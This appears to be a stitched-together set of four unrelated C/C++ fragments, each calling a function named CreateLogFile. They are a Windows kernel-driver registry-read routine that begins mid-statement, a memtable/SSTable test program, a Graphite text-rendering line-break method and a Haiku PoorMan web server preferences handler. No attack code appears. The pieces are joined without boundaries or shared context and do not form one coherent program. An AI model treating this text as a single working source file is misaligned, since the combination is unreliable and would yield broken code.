Status == STATUS_INVALID_PARAMETER ) { KdPrint( ("ZwQueryValueKey() Failed in OpenRegKey()\n") ); } // Allocate some memory for our returned key structure KeyValueInfo = ( PKEY_VALUE_PARTIAL_INFORMATION ) ExAllocatePoolWithTag( NonPagedPool, ResultLength, POOL_TAG_REGISTRY_STORAGE_KEY ); // Requery the key with proper size requirements of the return structure Status = ZwQueryValueKey( hkey, &KeyName, KeyValuePartialInformation, KeyValueInfo, ResultLength, &ResultLength ); // Allocate memory for the return file path Data = ExAllocatePoolWithTag( NonPagedPool, ResultLength + sizeof( WCHAR ), POOL_TAG_REGISTRY_STORAGE ); RtlZeroMemory( Data, ResultLength + sizeof( WCHAR ) ); RtlCopyMemory( Data, (PVOID) KeyValueInfo->Data, KeyValueInfo->DataLength ); RtlInitUnicodeString( &KeyValue, Data ); // DDK : "Macro initializes the opaque OBJECT_ATTRIBUTES structure, which specifies // the properties of an object handle to routines that open handles." InitializeObjectAttributes( &SubKeyObjectAttributes, // InitializedAttributes &KeyValue, // ObjectName OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,// Attributes NULL, // RootDirectory NULL ); // SecurityDescriptor // Create our log file on disk CreateLogFile( theDeviceObject, SubKeyObjectAttributes ); // Free working key value ExFreePoolWithTag( Data , POOL_TAG_REGISTRY_STORAGE ); // Free key ExFreePoolWithTag( KeyValueInfo, POOL_TAG_REGISTRY_STORAGE_KEY ); // Close the regkey ZwClose( hkey ); }
int main() { int i ; StLogFile stLog ; StMemTable stMemTable1 ; StMemTable stMemTable2 ; StMemTable stMemTable3 ; StSStableLevel stTableLevel ; StSStableMem stTableMem ; int iFileSize = 0 ; int iRet ; int iSplit = MAX_MERGE_CNT/3 ; int iCr = CreateLogFile(LOG_FILE , &stLog); if(iCr != 0){ printf("create file error:%d\n" , iCr); return -1 ; } memtable_init(&stMemTable1 , compareFunc); memtable_init(&stMemTable2 , compareFunc); memtable_init(&stMemTable3 , compareFunc); for(i = 0 ; i < MAX_MERGE_CNT ; ++i) { int iRand = rand()*rand(); char sKey[MAX_KEY_SIZE] ; char sVal[2048]; //iRand = 1 ; snprintf(sKey , sizeof(sKey)-1 , "%d_test_key_" , iRand ); snprintf(sVal , sizeof(sVal)-1 , "%d_ssssssssssssssssssssbbbbbbbbbbbbbbbbtest d_ssssssssssssssssssssbbbbbbbbbbbbbbbbtestd_ssssssssssssssssssssbbbbbbbbbbbbbbbbtestd_ssssssssssssssssssssbbbbbbbbbbbbbbbbtestd_ssssssssssssssssssssbbbbbbbbbbbbbbbbtestd_ssssssssssssssssssssbbbbbbbbbbbbbbbbtestd_ssssssssssssssssssssbbbbbbbbbbbbbbbbtestwhy so many sb in......................._val_%d" , iRand , i); StLogNode stNode ; stNode.sKey = sKey; stNode.sVal = sVal; stNode.uiKeySize = (unsigned int)strlen(stNode.sKey) + 1; stNode.uiValSize = (unsigned int)strlen(stNode.sVal) + 1; AppendRecord(&stLog , &stNode); StValNode stValNode ; stValNode.sKey = sKey ; stValNode.uiKeySize = stNode.uiKeySize ; stValNode.sVal = sVal ; stValNode.uiValSize = stNode.uiValSize ; if(i < iSplit) { memtable_set(&stMemTable1 , &stValNode); if(i == iSplit/ 2) printf("t1:%s\n" , stValNode.sKey); } else if(i >= iSplit && i < iSplit * 2) { memtable_set(&stMemTable2 , &stValNode); if(i == iSplit + iSplit/2) printf("t1:%s\n" , stValNode.sKey); } else { memtable_set(&stMemTable3 , &stValNode); iFileSize += stValNode.uiKeySize + sizeof(int) * 3 + stValNode.uiKeySize + stValNode.uiValSize + sizeof(int) * 2 ; if(i == iSplit*2 + iSplit/2) printf("t1:%s\n" , stValNode.sKey); } } iFileSize += sizeof(StSSTIndex); printf("file size:%d\n" , iFileSize); AppendLog(&stLog ,1); DestroyFile(&stLog); //dump file to sstable StSStableLevel_Init(&stTableLevel) ; iRet = SSTable_Dump0Level(&stTableLevel , &stMemTable3); if(iRet == 0) { printf("dump sstable ok .\n"); } else { printf("dump sstable error:%d .\n" , iRet); } iRet = SSTable_Load(&stTableMem , "sst_0_0.dat") ; { for(i = 0 ; i < stMemTable3.pList->iTotCnt ; ++i) { char *pIndexNode = stTableMem.pIndex[i]; StValNode *pValNode = memtable_find(&stMemTable3 ,pIndexNode+sizeof(int)) ; if(pValNode == NULL) { printf("xxxxxxxxxxxxxxxxxxxxxxxxxxxx========%d key:%s\n" ,i, pIndexNode + sizeof(int)); return 0 ; } if(strcmp(pIndexNode + sizeof(int) , "-450124004_test_key_") == 0 ) { printf("got it ....\n"); } //if(i < 10 || i > stMemTable3.pList->iTotCnt -10) { unsigned int uiOffset = *((unsigned int*)(pIndexNode+sizeof(int) + pValNode->uiKeySize)); unsigned int uiNodeSize = *((unsigned int*)(pIndexNode+sizeof(int)*2 + pValNode->uiKeySize)); printf("%s %s offset:%d node size:%d\n" , pIndexNode + sizeof(int) , pValNode->sKey , uiOffset , uiNodeSize); } } } if(iRet == 0) { printf("load sstable file ok. index cnt:%d\n\n" , stTableMem.uiNodeNum); } else { printf("load sstable file error:%d.\n" , iRet ); return -1 ; } { StValNode stNode ; StValNode *pNode ; stNode.sKey = stTableMem.pIndex[5]+sizeof(int); stNode.uiKeySize = strlen(stNode.sKey) + 1; //find in mem table 1 pNode = memtable_find(&stMemTable1 , stNode.sKey); if(pNode != NULL) { printf("find in memtab1 key:[%s] val:[%s]\n" , pNode->sKey , pNode->sVal); return 0 ; } printf("[%s]:can't find in memtab1 , start to find in memtable2.\n" , stNode.sKey); //find in mem table 2 pNode = memtable_find(&stMemTable2 , stNode.sKey); if(pNode != NULL) { printf("find in memtab2 key:[%s] val:[%s]\n" , pNode->sKey ,pNode->sVal); return 0 ; } else { int iRet ; void *pData = NULL ; unsigned int uiNodeSize = 0 ; printf("[%s]:can't find in memtab2 , start to find in sstable.\n" , stNode.sKey); iRet = SSTable_Find(&stTableMem , stNode.sKey , stNode.uiKeySize , &pData , &uiNodeSize) ; if(iRet == 0) { if(pData == NULL) { printf("can't find:[%s] \n" , stNode.sKey); } else { pData = (void *)((char *)pData + sizeof(int) + stNode.uiKeySize + sizeof(int)); printf("key:[%s] val:[%s]" , stNode.sKey , (char *)pData); } } else { printf("find:[%s] error:%d\n" , stNode.sKey , iRet); return -1; } } } return 0; }
/*---------------------------------------------------------------------------------------------- The standard method for generating a segment in a paragraph, where a line break might be necessary. Generally called with fEndLine true; then change segment to make it false if we want to try to put something else after. TODO SharonC?: try implementing and see whether we can handle all the possible complications relating to adjacent segments that can't be separated, such as English parens around Hebrew text. @param pgjus - NULL if no justification will ever be needed for the resulting segment @param ichMin/Lim - part of string to use @param ichwLimBacktrack - when backtracking, where to start looking for a new break @param fNeedFinalBreak - if false, assume it is okay to make a segment ending at ichwLim; if true, assume the text source has at least one more character at ichwLim, and end the segment at ichwLim only if that is a valid break point @param fStartLine - seg is logically first on line? (we assume it is logically last) @param dxMaxWidth - available width in x coords of graphics object @param lbPref - try for longest segment ending with this breakweight @param lbMax - max (last resort) breakweight if no preferred break possible @param twsh - how we are handling trailing white-space @param fParaRtl - overall paragraph direction @param pplsegRet - segment produced, or null if nothing fits @param pichwLimSeg - end of segment produced, beginning of next @param pdxWidth - width of newly-created segment @param pest - what caused the segment to end @param cpPrev - byte size of pbPrevSegDat buffer @param pbPrevSegDat - for initializing from previous segment @param cbNextMax - max size of pbNextSegDat buffer @param pbNextSegDat - for initializing next segment @param pcbNextSegDat - size of pbNextSegDat buffer @param pdichwContext - for the following segment, the index of the first char of interest to it; ie, edits before this character will not affect how the next segment behaves ----------------------------------------------------------------------------------------------*/ STDMETHODIMP FwGrEngine::FindBreakPoint( IVwGraphics * pvg, IVwTextSource * pts, IVwJustifier * pvjus, int ichwMin, int ichwLim, int ichwLimBacktrack, ComBool fNeedFinalBreak, ComBool fStartLine, int dxMaxWidth, LgLineBreak lbPref, LgLineBreak lbMax, LgTrailingWsHandling twsh, ComBool fParaRtl, ILgSegment ** ppsegRet, int * pdichwLimSeg, int * pdxWidth, LgEndSegmentType * pest, ILgSegment * plgsegPrev) { BEGIN_COM_METHOD; ChkComArgPtr(pvg); ChkComArgPtr(pts); ChkComArgPtrN(pvjus); ChkComOutPtr(ppsegRet); ChkComOutPtr(pdichwLimSeg); ChkComArgPtr(pdxWidth); ChkComArgPtr(pest); HRESULT hr = S_OK; // Use wrappers that fit what is expected by the Graphite implementation code: //////FwGrGraphics gg(pvg); // Create these on the heap so they can be stored in the segment. FwGrTxtSrc * pgts = new FwGrTxtSrc(pts, m_useNFC); //FwGrJustifier * pgjus = (pvjus) ? new FwGrJustifier(pvjus) : NULL; if (pvjus && !s_pgjus) { s_pgjus = new FwGrJustifier(pvjus); m_pgjus = s_pgjus; // make this engine responsible for deleting it } FwGrSegmentPtr qfwgrseg; if (*ppsegRet) { return E_INVALIDARG; //CheckHr((*ppsegRet)->QueryInterface(CLSID_FwGrSegment, (void**)&qfwgrseg)); //pgrseg = qfwgrseg->GraphiteSegment(); } Segment * psegPrev = NULL; if (plgsegPrev) { FwGrSegment * pfwgrseg = dynamic_cast<FwGrSegment *>(plgsegPrev); if (pfwgrseg) psegPrev = pfwgrseg->GraphiteSegment(); // otherwise, not a Graphite segment } // Need-final-break is true if and only if we are backtracking. Assert((ichwLim != ichwLimBacktrack) == fNeedFinalBreak); // Adjust the font in the graphics device for super/subscripting. SetUpGraphics(pvg, pgts, ichwMin); HDC hdc; IVwGraphicsWin32Ptr qvg32; CheckHr(pvg->QueryInterface(IID_IVwGraphicsWin32, (void **)&qvg32)); CheckHr(qvg32->GetDeviceContext(&hdc)); ////gg.GetDeviceContext(&hdc); Segment * pgrseg; WinFont * pfontSeg; try { // DON'T use m_pfont, which might be for the wrong size; use a new font // specifically for this size font. FwWinFont font(hdc); int xInch, yInch; pvg->get_XUnitsPerInch(&xInch); pvg->get_YUnitsPerInch(&yInch); font.SetDPI(xInch, yInch); std::ofstream strmLog; std::ostream * pstrmLog = CreateLogFile(strmLog, (psegPrev != NULL)); // for testing UTF-8: //gr::utf16 prgchw[1000]; //int cchwLen; //pts->get_Length(&cchwLen); //pts->Fetch(ichwMin, cchwLen, prgchw); //ichwLim = CountUtf8FromUtf16(prgchw, ichwLim); //ichwLimBacktrack = ichwLim; ///////////////////// LayoutEnvironment layout; layout.setStartOfLine(fStartLine); layout.setEndOfLine(true); layout.setBestBreak(lbPref); layout.setWorstBreak(lbMax); layout.setRightToLeft(fParaRtl); layout.setTrailingWs(twsh); layout.setPrevSegment(psegPrev); layout.setJustifier(s_pgjus); layout.setLoggingStream(pstrmLog); layout.setDumbFallback(true); //for allowing hyphen breaks: //layout.setBestBreak(max(klbHyphenBreak, lbPref)); //layout.setWorstBreak(max(klbHyphenBreak, lbMax)); bool fBacktracking = (ichwLimBacktrack < ichwLim); int grIchwMin = pgts->VwToGrOffset(ichwMin); int grIchwLim = fBacktracking ? pgts->VwToGrOffset(ichwLimBacktrack) : pgts->VwToGrOffset(ichwLim); pgrseg = new LineFillSegment(&font, pgts, &layout, grIchwMin, grIchwLim, (float)dxMaxWidth, fBacktracking); gr::Font & fontSeg = pgrseg->getFont(); pfontSeg = dynamic_cast<WinFont *>(&fontSeg); pfontSeg->replaceDC(hdc); *pest = pgrseg->segmentTermination(); if (*pest != kestNothingFit) { int grIchwLimSeg = pgrseg->stopCharacter() - pgrseg->startCharacter(); *pdichwLimSeg = pgts->GrToVwOffset(grIchwLimSeg); *pdxWidth = gr::GrEngine::RoundFloat(pgrseg->advanceWidth()); // there is a limit in the number of pixels (about 2^16) that the ExtTextOut function // can render, which is what Graphite uses to render text on Windows. If this // segment is over that limit, we reduce the number of characters in this segment // so that when it is rendered it is less than the limit. The main place this // can happen is in concordance views. // TODO (DamienD): This fix removes characters from the end of the segment. If the // segment is too long on the left side of the arrow in the concordance view, // characters should be removed from the beginning. This case would have to be // handled in Views somewhere. // TODO (DamienD): If Graphite ever fixes the limit, we can safely remove this // hack. if (*pdxWidth > SHRT_MAX) { delete pgrseg; int avgCharWidth = *pdxWidth / (grIchwMin + grIchwLimSeg); // we use 30000 here, because avgCharWidth is just an estimate, // this gives us some padding to ensure that the resulting segment // is less than the limit grIchwLim = grIchwMin + (30000 / avgCharWidth); pgrseg = new LineFillSegment(&font, pgts, &layout, grIchwMin, grIchwLim, (float)dxMaxWidth, fBacktracking); // reset variables for new segment gr::Font & fontSeg = pgrseg->getFont(); pfontSeg = dynamic_cast<WinFont *>(&fontSeg); pfontSeg->replaceDC(hdc); *pest = pgrseg->segmentTermination(); if (*pest != kestNothingFit) { *pdichwLimSeg = pgts->GrToVwOffset(pgrseg->stopCharacter() - pgrseg->startCharacter()); *pdxWidth = gr::GrEngine::RoundFloat(pgrseg->advanceWidth()); } } } strmLog.close(); } catch (FontException & fexptn) { // Error in initializing the font. FontErrorCode ferr = fexptn.errorCode; LgCharRenderProps chrp; int ichwMinBogus, ichwLimBogus; pgts->GetCharProps(ichwMin, &chrp, &ichwMinBogus, &ichwLimBogus); StrUni stuMsg = L"Error in initializing Graphite font "; stuMsg.Append(chrp.szFaceName); stuMsg.Append(": "); std::wstring stuErrMsg = FontLoadErrorDescription(ferr, 0, 0, &hr); stuMsg.Append(stuErrMsg.c_str()); StackDumper::RecordError(IID_IRenderEngine, stuMsg, L"SIL.Graphite.FwGrEngine", 0, L""); return hr; } // if we are at the end of the requested range, but the text source still has more text in // it, Graphite will determine that the break was bad or okay, even though it broke // because there was no more text, so we go ahead and change the reason here to no more text if (ichwMin + *pdichwLimSeg == ichwLim && (*pest == kestOkayBreak || *pest == kestBadBreak)) *pest = kestNoMore; bool fError = false; std::pair<GlyphIterator, GlyphIterator> pairGfit = pgrseg->glyphs(); GlyphIterator gfit = pairGfit.first; GlyphIterator gfitEnd = pairGfit.second; for ( ; gfit != gfitEnd ; ++gfit) { if ((*gfit).erroneous()) { fError = true; break; } } if (fError) { LgCharRenderProps chrp; int ichwMinBogus, ichwLimBogus; pgts->GetCharProps(ichwMin, &chrp, &ichwMinBogus, &ichwLimBogus); StrUni stuMsg = L"Error in Graphite rendering using font "; stuMsg.Append(chrp.szFaceName); StackDumper::RecordError(IID_IRenderEngine, stuMsg, L"SIL.Graphite.FwGrEngine", 0, L""); hr = E_FAIL; } //// TEMPORARY - for testing //pairGfit = pgrseg->glyphs(); //gfit = pairGfit.first; //gfitEnd = pairGfit.second; //for ( ; gfit != gfitEnd ; ++gfit) //{ // GlyphInfo ginf = *gfit; // gid16 gid = ginf.glyphID(); // gid = ginf.pseudoGlyphID(); // int n = ginf.logicalIndex(); // float xy = ginf.origin(); // xy = ginf.advanceWidth(); // xy = ginf.advanceHeight(); // xy = ginf.yOffset(); // gr::Rect bb = ginf.bb(); // bool f = ginf.isSpace(); // f = ginf.insertBefore(); // toffset ich = ginf.firstChar(); // int ich = ginf.lastChar(); // unsigned int dir = ginf.directionality(); // dir = ginf.directionLevel(); // n = ginf.attachedTo(); // n = ginf.numberOfComponents(); // for (int i = 0; i < n; i++) // { // bb = ginf.componentBox(i); // ich = ginf.componentFirstChar(i); // } // std::pair<GlyphIterator, GlyphIterator> pairGlyphRange // = pgrseg->charToGlyphs(ginf.firstChar()); // for ( ; pairGlyphRange.first != pairGlyphRange.second ; ++(pairGlyphRange.first)) // { // ginf = *pairGlyphRange.first; // gid = ginf.glyphID(); // } //} //// for testing: //int rgigbb[100]; //bool rgfClusterStart[100]; //int cch, cf; //pgrseg->getUniscribeClusters(rgigbb, 100, &cch, rgfClusterStart, 100, &cf); //// for testing //for (int dxWidth = 50; dxWidth < 500; dxWidth += 50) //{ // int ichBreak; // float dxRetWidth; // ichBreak = pgrseg->findNextBreakPoint(4, klbWsBreak, klbWsBreak, (float)dxWidth, &dxRetWidth, false, false); // int x; // x = 3; //} pfontSeg->restoreDC(); // Even if there was an error, if a segment was created, we want to return it. if (pgrseg && (*pest != kestNothingFit)) { ////qfwgrseg = dynamic_cast<FwGrSegment *>(pgrseg); ////Assert(qfwgrseg); FwGrSegment * psegTmp; if (!qfwgrseg) { psegTmp = NewObj FwGrSegment; qfwgrseg = dynamic_cast<FwGrSegment *>(psegTmp); Assert(qfwgrseg); } else psegTmp = qfwgrseg.Ptr(); qfwgrseg->SetGraphiteSegment(pgrseg); HRESULT hrTmp; CheckHr(hrTmp = qfwgrseg->QueryInterface(IID_ILgSegment, (void **)ppsegRet)); if (FAILED(hrTmp)) hr = hrTmp; ////pgrseg->DecRefCount(); psegTmp->Release(); qfwgrseg->SetFwGrEngine(this); qfwgrseg->SetTextSource(pgts); //pgts->IncRefCount(); // not needed; pgts holds a smart pointer that increments // the ref count on the FW text source } else { delete pgrseg; delete pgts; qfwgrseg = NULL; } return hr; END_COM_METHOD(g_fact, IID_IRenderEngine); }
void PoorManPreferencesWindow::MessageReceived(BMessage* message) { switch (message->what) { case MSG_PREF_BTN_DONE: PoorManWindow* win; PoorManServer* server; win = ((PoorManApplication*)be_app)->GetPoorManWindow(); server = win->GetServer(); PRINT(("Pref Window: sendDir CheckBox: %d\n", fSiteView->SendDirValue())); server->SetListDir(fSiteView->SendDirValue()); win->SetDirListFlag(fSiteView->SendDirValue()); PRINT(("Pref Window: indexFileName TextControl: %s\n", fSiteView->IndexFileName())); if (server->SetIndexName(fSiteView->IndexFileName()) == B_OK) win->SetIndexFileName(fSiteView->IndexFileName()); PRINT(("Pref Window: webDir: %s\n", fSiteView->WebDir())); if (server->SetWebDir(fSiteView->WebDir()) == B_OK) { win->SetWebDir(fSiteView->WebDir()); win->SetDirLabel(fSiteView->WebDir()); } PRINT(("Pref Window: logConsole CheckBox: %d\n", fLoggingView->LogConsoleValue())); win->SetLogConsoleFlag(fLoggingView->LogConsoleValue()); PRINT(("Pref Window: logFile CheckBox: %d\n", fLoggingView->LogFileValue())); win->SetLogFileFlag(fLoggingView->LogFileValue()); PRINT(("Pref Window: logFileName: %s\n", fLoggingView->LogFileName())); win->SetLogPath(fLoggingView->LogFileName()); PRINT(("Pref Window: MaxConnections Slider: %ld\n", fAdvancedView->MaxSimultaneousConnections())); server->SetMaxConns(fAdvancedView->MaxSimultaneousConnections()); win->SetMaxConnections( (int16)fAdvancedView->MaxSimultaneousConnections()); if (Lock()) Quit(); break; case MSG_PREF_BTN_CANCEL: if (Lock()) Quit(); break; case MSG_PREF_SITE_BTN_SELECT: { // Select the Web Directory, root directory to look in. fWebDirFilePanel->SetTarget(this); BMessage webDirSelectedMsg(MSG_FILE_PANEL_SELECT_WEB_DIR); fWebDirFilePanel->SetMessage(&webDirSelectedMsg); if (!fWebDirFilePanel->IsShowing()) fWebDirFilePanel->Show(); break; } case MSG_FILE_PANEL_SELECT_WEB_DIR: // handle the open BMessage from the Select Web Directory File Panel PRINT(("Select Web Directory:\n")); SelectWebDir(message); break; case MSG_PREF_LOG_BTN_CREATE_FILE: // Create the Log File fLogFilePanel->Show(); break; case MSG_FILE_PANEL_CREATE_LOG_FILE: // handle the save BMessage from the Create Log File Panel PRINT(("Create Log File:\n")); CreateLogFile(message); break; case MSG_PREF_ADV_SLD_MAX_CONNECTION: fMaxConnections = fAdvancedView->MaxSimultaneousConnections(); PRINT(("Max Connections: %ld\n", fMaxConnections)); break; default: BWindow::MessageReceived(message); break; } }